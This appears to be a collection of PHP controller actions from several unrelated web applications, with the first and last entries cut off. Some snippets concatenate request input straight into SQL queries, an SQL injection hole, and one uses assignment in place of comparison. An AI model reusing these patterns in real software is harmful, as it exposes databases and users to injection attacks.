array();\n\t\t\t\t$itemsCnt++;\n\t\t\t}\n\t\t\t$recipeToView['itms'] = $items;\t\t\t\n\t\t\t\n\t\t}\n\t\t\n\t\t//przygotowanie danych formularza po wystapieniu bledu\n\t\tif(is_array($values)) {\n\t\t\t$items = array();\n\t\t\tif(isset($values['ingredients'])) {\n\t\t\t\tforeach($values['ingredients'] AS $index=>$ingredient) {\n\t\t\t\t\t$items[$index]['ingredients'] = htmlspecialchars($ingredient);\n\t\t\t\t\tif(isset($values['amount'][$index])) {\n\t\t\t\t\t\t$items[$index]['amount'] = htmlspecialchars($values['amount'][$index]); \n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$items[$index]['amount'] = '';\n\t\t\t\t\t}\n\t\t\t\t\tif(isset($values['units'][$index])) {\n\t\t\t\t\t\t$items[$index]['units'] = htmlspecialchars($values['units'][$index]); \n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$items[$index]['units'] = '';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$itemsCnt = count($items); //liczba skladnikow, chce aby bylo 15\n\t\t\t\twhile($itemsCnt < 15) {\n\t\t\t\t\t$items[] = array();\n\t\t\t\t\t$itemsCnt++;\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\t\t\tunset($values['ingredients']);\n\t\t\tunset($values['amount']);\n\t\t\tunset($values['units']);\n\t\t\t\n\t\t\tforeach($values AS $index=>$value) {\n\t\t\t\tif(is_array($value)) {\n\t\t\t\t\t$recipeToView[$index] = array_map('htmlspecialchars',$value);\n\t\t\t\t}\n\t\t\t\t$recipeToView[$index] = htmlspecialchars($value);\n\t\t\t}\n\t\t\t\n\t\t\t$recipeToView['itms'] = $items;\n\t\t}\n\t\t\n\t\t//przygotowanie dodatkowych danych dla widoku\n\t\t$actionLink = $baseUrl.'/admin/recipe/edit';\n\t\t$recipeTableHeadersStrings = array_map(array($this->_i18n, 'translate'), $recipeFieldsNames);\n\t\t$approvedList = array(array('value'=>0, 'info'=>$this->_i18n->translate('Recipe not approved')), array('value'=>1, 'info'=>$this->_i18n->translate('Recipe approved')));\n\t\t\n\t\t//dolaczenie danych do widoku\n\t\t$this->_view->assign('recipe', $recipeToView);\n\t\t$this->_view->assign('categories', $categoriesToView);\n\t\t$this->_view->assign('ingredients', $ingredientsToView);\n\t\t$this->_view->assign('units', $unitsToView);\n\t\t$this->_view->assign('errors', $errors);\n\t\t$this->_view->assign('flashError', $flashError);\t\t\n\t\t$this->_view->assign('actionLink', $actionLink);\n\t\t$this->_view->assign('approvedList', $approvedList);\t\t\n\t\t$this->_view->assign('recipeTableHeadersStrings', $recipeTableHeadersStrings);\n\t\t$this->_view->assign('categoryString', $this->_i18n->translate($recipeRelationsNames['categories']));\n\t\t$this->_view->assign('ingredientsString', $this->_i18n->translate('ingredients'));\n\t\t$this->_view->assign('ingredientNameString', $this->_i18n->translate('Ingredient'));\n\t\t$this->_view->assign('unitNameString', $this->_i18n->translate('Unit'));\n\t\t$this->_view->assign('amountString', $this->_i18n->translate('Amount'));\n\t\t$this->_view->assign('recipeEditFormTitle', $this->_i18n->translate('Recipe edit form'));\t\t\n\t\t$this->_view->assign('submitString', $this->_i18n->translate('Submit'));\n\t\t$this->_view->assign('resetString', $this->_i18n->translate('Reset'));\n\t\n\t}", "public function listiAction()\n {\n $form = new Formulario(\"form\");\n $id = (int) $this->params()->fromRoute('id', 0);\n $form->get(\"id\")->setAttribute(\"value\",$id); \n if($this->getRequest()->isPost()) \n {\n $request = $this->getRequest();\n if ($request->isPost()) {\n // Zona de validacion del fomrulario --------------------\n $album = new ValFormulario();\n //$form->setInputFilter($album->getInputFilter()); \n //$form->setData($request->getPost()); \n //$form->setValidationGroup('nombre'); // ------------------------------------- 2 CAMPOS A VALDIAR DEL FORMULARIO (C) \n // Fin validacion de formulario ---------------------------\n //if ($form->isValid()) {\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $d = new AlbumTable($this->dbAdapter);// ------------------------------------------------- 3 FUNCION DENTRO DEL MODELO (C) \n $data = $this->request->getPost();\n $d->modGeneral(\"insert into n_turnos_g_h (idTur, idHor)\n values(\".$data->id.\", \".$data->tipo.\")\");\n return $this->redirect()->toUrl($this->getRequest()->getBaseUrl().$this->lin.'i/'.$id);\n //}\n }\n } \n$this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter'); \n $o=new \\Nomina\\Model\\Entity\\Turnos($this->dbAdapter);\n $form->get(\"id\")->setAttribute(\"value\",\"$id\"); \n $form->get(\"ubicacion\")->setValueOptions(array('1'=>'Encabezado')); \n $arreglo='';\n $turnos = $o->getRegistro(); \n foreach ($turnos as $dat){\n $idc=$dat['id'];$nom=$dat['codigo'];\n $arreglo[$idc]= $nom;\n } \n $form->get(\"tipo\")->setValueOptions($arreglo); \n\n $d = new AlbumTable($this->dbAdapter); \n $datos = $d->getGeneral1(\"Select * from n_turnos_g where id=\".$id);\n $valores=array\n (\n \"titulo\" => 'Horarios del turno '.$datos['nombre'],\n \"datos\" => $d->getTurnoHorarios($id), \n \"ttablas\" => 'dia, Tipo, Ok,Eliminar',\n 'url' => $this->getRequest()->getBaseUrl(),\n \"form\" => $form, \n \"lin\" => $this->lin,\n \"id\" => $id,\n ); \n return new ViewModel($valores); \n }", "public function showAction($id, $note) {\n $em = $this->getDoctrine()->getManager();\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n $questions = $em->getRepository('CdlrcodeBundle:Question')->findAll();\n if (!$entity) {throw $this->createNotFoundException('Unable to find Question entity.');}\n $deleteForm = $this->createDeleteForm($id);\n//$em = $this->getDoctrine()->getManager();\n $ques = new Question;\n $ques = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n $request = $this->getRequest();\n if ($request->getMethod() == \"POST\") {$rep = $_POST['group1'];\n if ($rep === $ques->getBonneReponse()) {$note++;}\n if ($id < 5) { //return $this->render('CdlrcodeBundle:Question:reponse.html.twig', array('rep'=>$n));\n return $this->redirect($this->generateUrl('question_show', array('id' => $id + 1, 'note' => $note)));\n } else { if ($note<3){\n return $this->render('CdlrcodeBundle:Question:reponse.html.twig', array('rep' => $note, 'quest'=>$questions));}\n else {return $this->render('CdlrcodeBundle:Question:reponse2.html.twig', array('rep' => $note, 'quest'=>$questions));} }\n }\n if ($ques->getReponse3() != null) {\n return $this->render('CdlrcodeBundle:Question:show.html.twig', array('entity' => $entity, 'delete_form' => $deleteForm->createView(),));\n } else {\n return $this->render('CdlrcodeBundle:Question:show2.html.twig', array('entity' => $entity));\n }\n \n }", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $qb = $em->getRepository('ArmensaViajesBundle:Viaje')->createQueryBuilder('v')\n \t ->add('select',\"v.id, v.fecha, v.origen, v.destino, v.valorCompra ,v.valorVenta, v.peso, v.cantidad, co.nombre conductor, cl.nombre cliente, ve.placa vehiculo,tp.tipo tipoPr\")\n \t ->leftJoin('v.conductor','co')\n ->leftJoin('v.cliente','cl')\n ->leftJoin('v.vehiculo','ve')\n ->leftJoin('v.tipoProceso','tp')\n ->orderBy('v.id','DESC');\n $entities=$qb->getQuery()->getResult();\n\t\t$fields=array(\n\t\t 'id' => 'v.id',\n 'fecha'=>'v.fecha',\n 'origen'=>'v.origen',\n 'destino'=>'v.destino',\n 'valorCompra'=>'v.valorCompra',\n 'valorVenta'=>'v.valorVenta',\n 'peso' => 'v.peso',\n 'cantidad'=>'v.cantidad',\n 'conductor' =>'co.nombre',\n 'cliente' => 'cl.cliente',\n 'vehiculo' =>'ve.placa',\n 'tipoPr' => 'tp.tipo'\n );\n\n\t\t///Aplicamos filtros\n\t $request=$this->get('request');\n\t if ( $request->get('_search') && $request->get('_search') == \"true\" && $request->get('filters') )\n {\n $f=$request->get('filters');\n $f=json_decode(str_replace(\"\\\\\",\"\",$f),true);\n $rules=$f['rules'];\n foreach($rules as $rule){\n $searchField=$fields[$rule['field']];\n $searchString=$rule['data'];\n if($rule['field']=='fechaCreacion'){\n $daterange=explode(\"|\", $searchString);\n if(count($daterange)==1){\n \t$dateValue=\"'\".trim(str_replace(\" \",\"\",$daterange[0])).\"'\";\n\t $qb->andWhere($searchField.\" LIKE '\".$dateValue.\"%'\");\n }else{\n \t$minValue=\"'\".trim(str_replace(\" \",\"\",$daterange[0])).\" 00:00:00'\";\n \t$maxValue=\"'\".trim(str_replace(\" \",\"\",$daterange[1])).\" 23:59:59'\";\n\t $qb->andWhere($qb->expr()->between($searchField,$minValue , $maxValue));\n }\n\n }else{\n if(\"null\"!=$searchString){\n \t$qb->andWhere($qb->expr()->like($searchField, $qb->expr()->literal(\"%\".$searchString.\"%\")));\n }\n }\n }\n\n }\n\n\n\t //Ordenamiento de columnas\n\t //sidx\tid\n\t\t//sord\tdesc\n\t\t$sidx=$this->get('request')->query->get('sidx', 'id');\n\t\t$sord=$this->get('request')->query->get('sord', 'DESC');\n\t\t$qb->orderBy($fields[$sidx],$sord);\n\t\t//die($qb->getQuery()->getSQL());\n\n\t $query=$qb->getQuery()->getResult();\n\t\t$paginator = $this->get('knp_paginator');\n\t\t$pagination = $paginator->paginate(\n\t\t $query,\n\t\t $this->get('request')->query->get('page', 1)/*page number*/,\n\t\t $this->get('request')->query->get('rows', 10)/*limit per page*/\n\t\t);\n /*return array(\n 'entities' => $entities,\n 'pagination'=>$pagination\n );*/\n $response= new Response();\n $pdata=$pagination->getPaginationData();\n $r=array();\n $r['records']=count($query);\n $r['page']=$this->get('request')->query->get('page', 1);\n $r['rows']=array();\n $r['total'] = $pdata['pageCount'];\n\n foreach($pagination as $row){\n\t $line=$row;\n\t \t$r['rows'][]=$line;\n }\n $response->setContent(json_encode($r));\n return $response;\n }", "public function updateAction(Request $request, $id)\n {\n $tipo = $request->get('tipo'); \n $tipocontratacion = $request->get('tipocontratacion'); \n $idexp = $request->get('idexp');\n\n //tipogrid = 1: Acción consultar del grid, 2: Botón nuevo de pantalla index, 0: Nuevo puesto desde contratación\n $var = $request->get('tipogrid');\n if(isset($var)){$tipogrid=$var;}else{$tipogrid=0;}\n\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('AdminBundle:RefrendaAct')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find RefrendaAct entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n $editForm = $this->createForm(new RefrendaActType(), $entity);\n $editForm->bind($request);\n\n //Asignamos nombre de plaza en RefrendaAct\n $entity->setNombreplaza($entity->getIdplaza()->getNombreplaza());\n\n if ($editForm->isValid()) {\n $em->persist($entity);\n $em->flush();\n\n $this->get('session')->getFlashBag()->add('aviso', 'Registro modificado correctamente.');\n return $this->redirect($this->generateUrl('refrendaact_show', array(\n 'id' => $entity->getId(),\n 'tipo' => $tipo,\n 'tipocontratacion' => $tipocontratacion,\n 'idexp' => $idexp,\n 'tipogrid' => $tipogrid\n )));\n }\n //Si hay error\n //obtener datos de unidad\n $query=$em->createQuery('SELECT c.id centro, u.id unidad\n FROM AdminBundle:RefrendaAct r\n join r.idunidad u\n join u.idcentro c\n WHERE u.id = :unidad'\n )->setParameter('unidad', $entity->getIdunidad());\n $datosunidad = $query->getResult();\n\n $this->get('session')->getFlashBag()->add('erroredit', 'Error en la modificación de datos');\n return $this->render('ExpedienteBundle:RefrendaAct:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n 'datosunidad' => $datosunidad,\n 'tipo' => $tipo,\n 'tipocontratacion' => $tipocontratacion,\n 'idexp' => $idexp,\n 'tipogrid' => $tipogrid\n ));\n }", "public function nuevoAction()\n {\n $consultaCollection = \\ConsultaQuery::create()->find();\n $consultaArray = array();\n foreach ($consultaCollection as $consultaEntity){\n $consultaArray[$consultaEntity->getIdconsulta()] = $consultaEntity->getPaciente()->getPacienteNombre();\n }\n // Almacenamos en un array los registros de todos los servicios existentes en la base de datos\n $servicioCollection = \\ServicioQuery::create()->find();\n $servicioArray = array();\n foreach ($servicioCollection as $servicioEntity){\n $servicioArray[$servicioEntity->getIdservicio()] = $servicioEntity->getServicioNombre();\n }\n //Intanciamos nuestro formulario cargoadmision y le mandamos por parametro los medicos y consultorios existentes\n $cargoadmisionForm = new CargoadmisionForm($consultaArray, $servicioArray);\n $request = $this->getRequest();\n if ($request->isPost()) {\n //Instanciamos nuestro filtro\n $cargoadmisionFilter = new CargoadmisionFilter();\n //Le ponemos nuestro filtro a nuesto fromulario\n $cargoadmisionForm->setInputFilter($cargoadmisionFilter->getInputFilter());\n\n //Le ponemos los datos a nuestro formulario\n $cargoadmisionForm->setData($request->getPost());\n\n //Validamos nuestro formulario\n if($cargoadmisionForm->isValid()){\n\n //Instanciamos un nuevo objeto de nuestro objeto Paciente\n $cargoadmision = new \\Cargoadmision();\n\n //Recorremos nuestro formulario y seteamos los valores a nuestro objeto Consulta\n foreach ($cargoadmisionForm->getData() as $cargoadmisionKey => $cargoadmisionValue){\n $cargoadmision->setByName($cargoadmisionKey, $cargoadmisionValue, \\BasePeer::TYPE_FIELDNAME);\n }\n $cargoadmision->save();\n\n // Validar precio, caducidad y existencia de ordencompradetalle\n $existencia = $cargoadmision->getLugarinventario()->getOrdencompradetalle()->getOrdencompradetalleExistencia();\n $caducidad = $cargoadmision->getLugarinventario()->getOrdencompradetalle()->getOrdencompradetalleCaducidad();\n $precio = $cargoadmision->getLugarinventario()->getOrdencompradetalle()->getOrdencompradetallePrecio();\n $cantidad = $cargoadmision->getCantidad();\n\n if($existencia > 0){\n if($caducidad < date('Y-m-d')){\n $cargoadmision->setMonto($request->getPost()->cantidad*$precio);\n }\n }\n\n //Guardamos en nuestra base de datos\n $cargoadmision->save();\n\n //Redireccionamos a nuestro list\n //return $this->redirect()->toRoute('pacientes');\n } else {\n $messageArray = array();\n foreach ($cargoadmisionForm->getMessages() as $key => $value){\n foreach($value as $val){\n //Obtenemos el valor de la columna con error\n $message = $key.' '.$val;\n array_push($messageArray, $message);\n }\n }\n var_dump($messageArray);\n return new ViewModel(array(\n 'input_error' => $messageArray\n ));\n }\n }\n return array('cargoadmisionForm' => $cargoadmisionForm);\n }", "public function editAction()\n {\n throw new NotFoundHttpException('Sorry this action is not possile !');\n }", "public function saveAction()\n {\n $request = $this->getRequest();\n $service = $this->get('buggl_main.trip_theme');\n $template = 'BugglMainBundle:Admin\\TripTheme:form.html.twig';\n\n if ($request->getMethod() == 'POST') {\n $form = $this->createFormBuilder()\n ->add('name', 'text',\n array(\n 'constraints'=>new \\Symfony\\Component\\Validator\\Constraints\\NotBlank()\n ))\n ->add('status','checkbox',array('required' => false))\n ->getForm();\n $form->bind($request);\n\n $valid = $form->isValid();\n\n if ($valid) {\n $data = $service->add($form->getData());\n } else {\n $html = $this->renderView(\n $template, array('form'=>$form->createView()));\n $data = array('success' => $valid, 'html' => $html);\n }\n } else {\n $id = $request->get('id');\n $name = trim($request->get('qString'));\n\n $data = $service->update($id, $name);\n }\n\n $response = new \\Symfony\\Component\\HttpFoundation\\JsonResponse($data, 200);\n\n return $response;\n }", "public function createAction($type)\n {\n if (!$type) {\n return $this->redirect($this->generateUrl('resymf_admin_dashboard'), 301);\n }\n $em = $this->getDoctrine()->getManager();\n\n $request = $this->container->get('request');\n $routeName = $request->get('_route');\n\n $adminConfigurator = $this->get('resymfcms.configurator.admin');\n $objectConfigurator = $this->get('resymfcms.configurator.object');\n\n $objectMapper = $this->get('resymfcms.object.mapper');\n\n $objectType = $objectMapper->getMappedObject($type);\n $annotationReader = $this->get('resymfcms.annotation.reader');\n\n $formConfig = $annotationReader->readFormAnnotation($objectType);\n\n if ($request->isMethod('POST')) {\n $object = new $objectType();\n\n// echo '<pre>';\n// print_r($formConfig->fields);\n// die();\n foreach ($formConfig->fields as $field) {\n $fieldType = $field['type'];\n $fieldRelationType = $field['relationType'];\n $methodName = 'set' . $field['name'];\n\n// if()\n switch ($fieldType) {\n case 'relation':\n $class = $field['class'];\n $targetEntityField = $field['targetEntityField'];\n $relationObjects = $em->getRepository($class)\n ->createQueryBuilder('q')\n ->where('q.id IN(:id)')\n ->setParameter('id', $request->get($field['name']))\n// ->setMaxResults()\n ->getQuery()\n ->getResult();\n// print_r($relationObject);\n $addMethodName2 = 'set' . $field['name'];\n if($fieldRelationType == 'manyToOne' || $fieldRelationType == 'oneToOne') {\n $object->$addMethodName2($relationObjects[0]);\n }else {\n $object->$addMethodName2($relationObjects);\n }\n foreach ($relationObjects as $relationObject) {\n\n if ($relationObject) {\n\n $addMethodName = 'set' . $type;\n $addMethodName2 = 'set' . $field['name'];\n\n if ($fieldRelationType == 'oneToMany') {\n $addMethodName2 = 'add' . $field['name'];\n\n }\n if ($fieldRelationType = 'manyToMany' || $fieldRelationType = 'multiselect') {\n $addMethodName2 = 'add' . $targetEntityField;\n } else { ///toOne\n $relationObject->$addMethodName($object);\n }\n\n }\n }\n\n \n break;\n case 'date':\n $object->$methodName(new \\DateTime($request->get($field['name'])));\n break;\n case 'file':\n// echo $field['name'];\n// print_r($request->get($field['name']));\n// die();\n $object->$methodName(json_encode($request->get($field['name'])));\n break;\n default:\n $object->$methodName($request->get($field['name']));\n }\n\n }\n\n $objectConfigurator->setInitialValuesFromAnnotations($objectType, $object, $type);\n $em->persist($object);\n $em->flush();\n return $this->redirect($this->generateUrl('object_edit', array('type' => $type, 'id' => $object->getId())), 301);\n }\n\n if (!isset($object)) {\n $object = false;\n }\n $multiSelectValues = $objectConfigurator->generateMultiSelectOptions($objectType, $object);\n\n return $this->render('ReSymfCmsBundle:adminmenu:create.html.twig', array('menu' => $adminConfigurator->getAdminConfig(), 'site_config' => $adminConfigurator->getSiteConfig(), 'form_config' => $formConfig, 'route' => $routeName, 'multi_select' => $multiSelectValues));\n }", "public function run()\n {\n\t\tif(isset($_GET['id'])){\n\t\t\t$id = $_GET['id'];\n\t\t}\n\t\telse{\n\t\t\t$id = '';\n\t\t}\n\t\t\n\t\tif($id != \"\"){\n\t\t\t$catalogo = Catalogos::model()->findByPk($id);\n\t\t}\n\t\telse{\n\t\t\t$catalogo = new Catalogos;\n\t\t}\n\t\t\n\t\tif(isset($_POST['Catalogos'])){\n\t\t\t$catalogo->attributes = $_POST['Catalogos'];\n\t\t\t$catalogo->save();\n\t\t\t$id = $catalogo->id;\n\t\t\t$this->controller->redirect(Yii::app()->createUrl('/administracion/default/formCatalogo/', array('id' => $id)));\n\t\t}\n\t\t\n\t\tif(isset($_GET['producto'])){\n\t\t\t$producto = $_GET['producto'];\n\t\t}\n\t\telse{\n\t\t\t$producto = '';\n\t\t}\n\t\t\n\t\tif(isset($_GET['accion'])){\n\t\t\t$accion = $_GET['accion'];\n\t\t}\n\t\telse{\n\t\t\t$accion = '';\n\t\t}\n\t\t\n\t\tif(isset($_GET['despues'])){\n\t\t\t$despues = $_GET['despues'];\n\t\t}\n\t\telse{\n\t\t\t$despues = '';\n\t\t}\n\t\n if(isset($_GET['nombre'])){\n\t\t\t$nombre = $_GET['nombre'];\n\t\t}\n\t\telse{\n\t\t\t$nombre = '';\n\t\t}\n\t\t\n\t\tif(isset($_GET['minimo'])){\n\t\t\t$minimo = str_replace(\".\", \"\", $_GET['minimo']);\n\t\t\t$minimo_ingresado = $_GET['minimo'];\n\t\t}\n\t\telse{\n\t\t\t$minimo = '';\n\t\t\t$minimo_ingresado = '';\n\t\t}\n\t\t\n\t\tif(isset($_GET['maximo'])){\n\t\t\t$maximo = str_replace(\".\", \"\", $_GET['maximo']);\n\t\t\t$maximo_ingresado = $_GET['maximo'];\n\t\t}\n\t\telse{\n\t\t\t$maximo = '';\n\t\t\t$maximo_ingresado = '';\n\t\t}\n\t\t\n\t\tif(isset($_GET['estado'])){\n\t\t\t$estado = $_GET['estado'];\n\t\t}\n\t\telse{\n\t\t\t$estado = 1;\n\t\t}\n\t\t\n\t\tif(isset($_GET['tipo'])){\n\t\t\t$tipo = $_GET['tipo'];\n\t\t}\n\t\telse{\n\t\t\t$tipo = '';\n\t\t}\n\t\t\n\t\tif(isset($_GET['linea'])){\n\t\t\t$linea = $_GET['linea'];\n\t\t}\n\t\telse{\n\t\t\t$linea = '';\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t$errores = '';\n\t\t//Calculo de errores\n\t\tif($minimo != '' && !is_numeric($minimo)){\n\t\t\t$minimo = '';\n\t\t\t$errores = $errores . \"- Desde debe ser un valor numerico<br>\";\n\t\t}\n\t\tif($maximo != '' && !is_numeric($maximo)){\n\t\t\t$maximo = '';\n\t\t\t$errores = $errores . \"- Hasta debe ser un valor numerico<br>\";\n\t\t}\n\t\t//Fin del calculo de errores\n\t\tif($errores != ''){\n\t\t\t$errores = '<div class=\"alert alert-warning\" role=\"alert\">' . $errores . '</div>';\n\t\t}\n\t\t\n\t\tif($minimo == ''){\n\t\t\t$min = -1;\n\t\t}\n\t\telse{\n\t\t\t$min = $minimo;\n\t\t}\n\t\t\n\t\tif($maximo == ''){\n\t\t\t$max = 1000000000;\n\t\t}\n\t\telse{\n\t\t\t$max = $maximo;\n\t\t}\n\t\t\n\t\tif($producto != ''){\n\t\t\t$this->aplicar($id, $producto, $accion, $despues);\n\t\t\tunset($_GET['producto']);\n\t\t}\n\t\t\n\t\t$criteria = new CDbCriteria;\n\t\t$criteria->compare('id_catalogo', $id);\n\t\t$criteria->order = 'posicion ASC';\n\t\t$productos_catalogo_ids = ProductosCatalogo::model()->findAll($criteria); \n\t\t$productos_catalogo = new CActiveDataProvider(new ProductosCatalogo, array('criteria' => $criteria));\n\t\t\n\t\t$ids = array();\n\t\tforeach($productos_catalogo_ids as $i){\n\t\t\t$ids[] = $i['id_producto'];\n\t\t}\n\t\t\n\t\n\t\t$criteria = new CDbCriteria;\n\t\t$criteria->addCondition('precio_producto >= ' . $min . ' AND precio_producto <= ' . $max);\n\t\t$criteria->addCondition('nombre_producto LIKE \"%'. $nombre . '%\"');\n\t\t$criteria->addNotInCondition('id', $ids);\n\t\t$criteria->compare('estado_producto', $estado);\n\t\t$criteria->compare('id_tipo_producto', $tipo);\n\t\t$criteria->compare('id_linea_producto', $linea);\n\t\t\n\t\t$reporte = new CActiveDataProvider(new Productos, array('criteria' => $criteria));\n\t\t\n\t\t$tipos = CHtml::listData(TiposProducto::model()->findAll(), 'id', 'nombre_tipo_producto');\n\t\t$tipos[\"\"] = 'Todas los tipos';\n\t\tksort($tipos);\n\t\t\n\t\t$lineas = CHtml::listData(LineasProducto::model()->findAll(), 'id', 'nombre_linea_producto');\n\t\t$lineas[\"\"] = 'Todas las lineas';\n\t\tksort($lineas);\n\t\t\n\t\t\n\n $this->controller->render('formulario_catalogos',array(\n\t\t\t'nombre' => $nombre,\n\t\t\t'minimo' => $minimo,\n\t\t\t'maximo' => $maximo,\n\t\t\t'estado' => $estado,\n\t\t\t'tipo' => $tipo,\n\t\t\t'linea' => $linea,\n\t\t\t'errores' => $errores,\n\t\t\t'id' => $id,\n\t\t\t'producto' => $producto,\n\t\t\t'catalogo' => $catalogo,\n\t\t\t'dataProvider' => $reporte,\n\t\t\t'productos_catalogo' => $productos_catalogo,\n\t\t\t'tipos' => $tipos,\n\t\t\t'lineas' => $lineas,\n ));\n }", "public function crearAction()\n {\n $this->view->headScript()->appendScript(\"\n function donamId(id)\n {\n var valorId = document.getElementById(id).value;\n document.getElementById('idValor').value = valorId;\n\t\t\t\t\t\t }\t \n \"\n );\n\n $idGal = (int) $this->getRequest()->getParam(\"id\",0);\n \n //al formulari de la vista galeria.phtml li em de passar l'id de galeria\n \n $this->view->galId = $idGal;\n \n $imatges = $this->_imagenDoctrineDao->obtenerTodosDeGaleriaPorId($idGal);\n \n $numImg = count($imatges);\n \n //passo el javascript\n $this->view->headScript()->appendScript(\"\n var num = $numImg;\n $(function () {\n for(i=1;i<=num;i++)\n {\n $('#edita'+i).tooltip();\n $('#publica'+i).tooltip();\n $('#despublica'+i).tooltip();\n $('#borra'+i).tooltip();\n $('#sube'+i).tooltip();\n }\n //alert(i);\n });\"\n ); \n \n \n //codi per fer desapareixer l'alert\n $this->view->headScript()->appendScript(\"\n \n $(document).ready\n (\n function()\n {\n setTimeout(function() { $('.alert_lila').fadeOut('slow')}, 2500);\n }\n );\n\n \"\n );\n \n \n \n //print_r($idGal);\n $galeriaId = $this->_galeriaDoctrineDao->obtenerGaleriaPorId($idGal);\n \n $this->view->galDades = $galeriaId;\n \n //var_dump($galeriaId);\n \n //////// CODI PER INSERTAR IMATGES A LA GALERIA N ///////////\n \n $form = $this->_getFormImagen();\n $formImg = $this->_getFormImagenEdit();\n \n /////// EDITAR LA IMATGE /////////\n /*\n foreach ($imatges as $imatge){\n \n echo $imatge->getTitol();\n echo $imatge->getDescripcio();\n \n }\n\n $formImg->populate(array('titol'=>$imatge->getTitol(),\n 'descripcio'=>$imatge->getDescripcio()\n ));\n */\n \n //assignem a la vista el form\n $this->view->form = $form;\n $this->view->formImg = $formImg;\n \n $neteja = new MisLibrerias_View_Helper_NetejaTags();\n \n try\n\n {\n //$neta = $neteja->netejaNomImatges($string);\n //instancia de zend file \n $upload = new Zend_File_Transfer_Adapter_Http();\n // això equival a $_FILE\n $files = $upload->getFileInfo();\n //cridem la ruta per fer l'upload (está al config)\n $ruta = $this->_config->parametros->mvc->admin->imagen->index->upload; \n \n //recorem les files per treure en name\n foreach ($files as $fileName=>$fileInfo)\n {\n $nom = $neteja->netejaNomImatges($fileInfo['name']);\n \n $time = substr(time(),6);\n \n //agafo l'extensió o format després del '.'\n $extensio = substr($nom, strpos($nom,'.') + 1);\n \n //separo el nom abans del punt\n $nomAnt = substr($nom,0, strpos($nom,'.'));\n \n $nomFinal = $nomAnt.$time.'.'.$extensio;\n \n if($upload->isUploaded($fileInfo['name'])){\n \n //afegim un filtre per renombrar les imatges\n $upload->addFilter('Rename', array('target' => $ruta.$nomFinal,\n 'overwrite' => true));\n //això és el move_uploaded_file\n $upload->receive();\n \n //variables classe Imagen \n $id = null;\n $data = new \\DateTime(date(\"Y-m-d H:i:s\"));\n $titol = null;\n $ruta = $nomFinal;\n $descripcio = null;\n $galeria = new Admin_Model_Galeria($galeriaId->getId(), $galeriaId->getData(), $galeriaId->getTitol(), $galeriaId->getDescripcio(), $galeriaId->getIdioma(), $galeriaId->getPublicar(),$galeriaId->getTipo());\n //$galeria = null;\n $entradaId = null;\n $ordre = null;\n \n //aquí farem l'insert\n \n $img = new Admin_Model_Imagen($id, $data, $titol, $ruta, $descripcio, $galeria, $entradaId, $ordre);\n \n //ha de ser update és a dir merge perquè sinó em crea una galeria i no ho volem\n $this->_imagenDoctrineDao->updateImagenes($img);\n \n }\n }\n }\n catch (Exception $ex)\n {\n echo '¡Ups! Tenemos problemas al subir la imágen.';\n echo $ex->getMessage();\n }\n //print_r($galeriaId->getId());\n //passem a la vista el llistat de imatges per galeria\n $this->view->listImagenes = $imatges;\n \n $frase = '<b><em>'.$this->view->user->nom.'</b></em>, aquí podrás subir imágenes a la galeria creada';\n $this->_helper->layout->assign(\"welcome\", $frase);\n \n //passo paràmetre de l'alert\n $a = (int) $this->getRequest()->getParam(\"a\",0);\n \n if($a===1){\n $this->view->alert=\"Imágen eliminada correctamente\";\n }else if($a===2){\n $this->view->alert=\"Puedes modificar esta galeria insertando más imágenes\";\n }\n }", "public function action() {\n\n $prod = new Produccion;\n\n $operacion = Input::get('oper');\n\n switch ($operacion) {\n\n case 'add':\n $prod->descripcion = Input::get('descripcion');\n $prod->cantidad = Input::get('cantidad');\n $prod->idanimal = Input::get('animal');\n $prod->estado = 1;\n $prod->save();\n $prod = DB::table('produccions as p')\n ->join('nacimientos as n','p.idanimal','=','n.id')\n ->select('p.id','p.descripcion','p.cantidad','n.nombre as animal')\n ->orderBy('p.id','desc')->take(1)->get();\n return $prod;\n break;\n\n case 'edit':\n $id = Input::get('id');\n $prod = Produccion::find($id);\n $prod->descripcion = Input::get('descripcion');\n $prod->cantidad = Input::get('cantidad');\n $prod->idanimal = Input::get('animal');\n $prod->save();\n $prod = DB::table('produccions as p')\n ->join('nacimientos as n','p.idanimal','=','n.id')\n ->select('p.id','p.descripcion','p.cantidad','n.nombre as animal')\n ->where('p.id',$id)->get();\n return $prod;\n break;\n\n case 'del':\n $id = Input::get('id');\n $prod = Produccion::find($id);\n $prod->estado = 0;\n $prod->save();\n break;\n }\n }", "public function listaAction() \n { \n $form = new Formulario(\"form\");\n // valores inici ales formulario (C)\n $id = (int) $this->params()->fromRoute('id', 0);\n $form->get(\"id\")->setAttribute(\"value\",$id); \n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $d=new AlbumTable($this->dbAdapter);\n $dat = $d->getGeneral1(\"select * from n_tip_matriz where id = \".$id);\n $idGrupo = $dat['idGrup'];\n $nomGrupo = $dat['nombre'];\n // GUARDAR NOVEDADES //\n if($this->getRequest()->isPost()) // Actualizar \n {\n $request = $this->getRequest();\n if ($request->isPost()) \n { \n // INICIO DE TRANSACCIONES\n $connection = null;\n try \n {\n $connection = $this->dbAdapter->getDriver()->getConnection();\n $connection->beginTransaction(); \n\n $u = new Novedades($this->dbAdapter);// ------------------------------------------------- 3 FUNCION DENTRO DEL MODELO (C) \n $data = $this->request->getPost();\n // Buscar datos del cepto \n $idCon = '';\n $idProy = 1; // Predeterminado sin proyecto\n if (isset($data->idCcos))\n {\n $idProy = $data->idCcos; // Si existe el proyecto \n }\n if ($data->id2==0) // Tipo matriz \n {\n $datos = $d->getGeneral(\"select a.id, b.nombre as nomMatz, a.idConc, b.alias, b.tipo,b.valor \n from n_tip_matriz_tnv a \n inner join n_conceptos b on b.id=a.idConc \n where a.idTmatz = \".$data->id 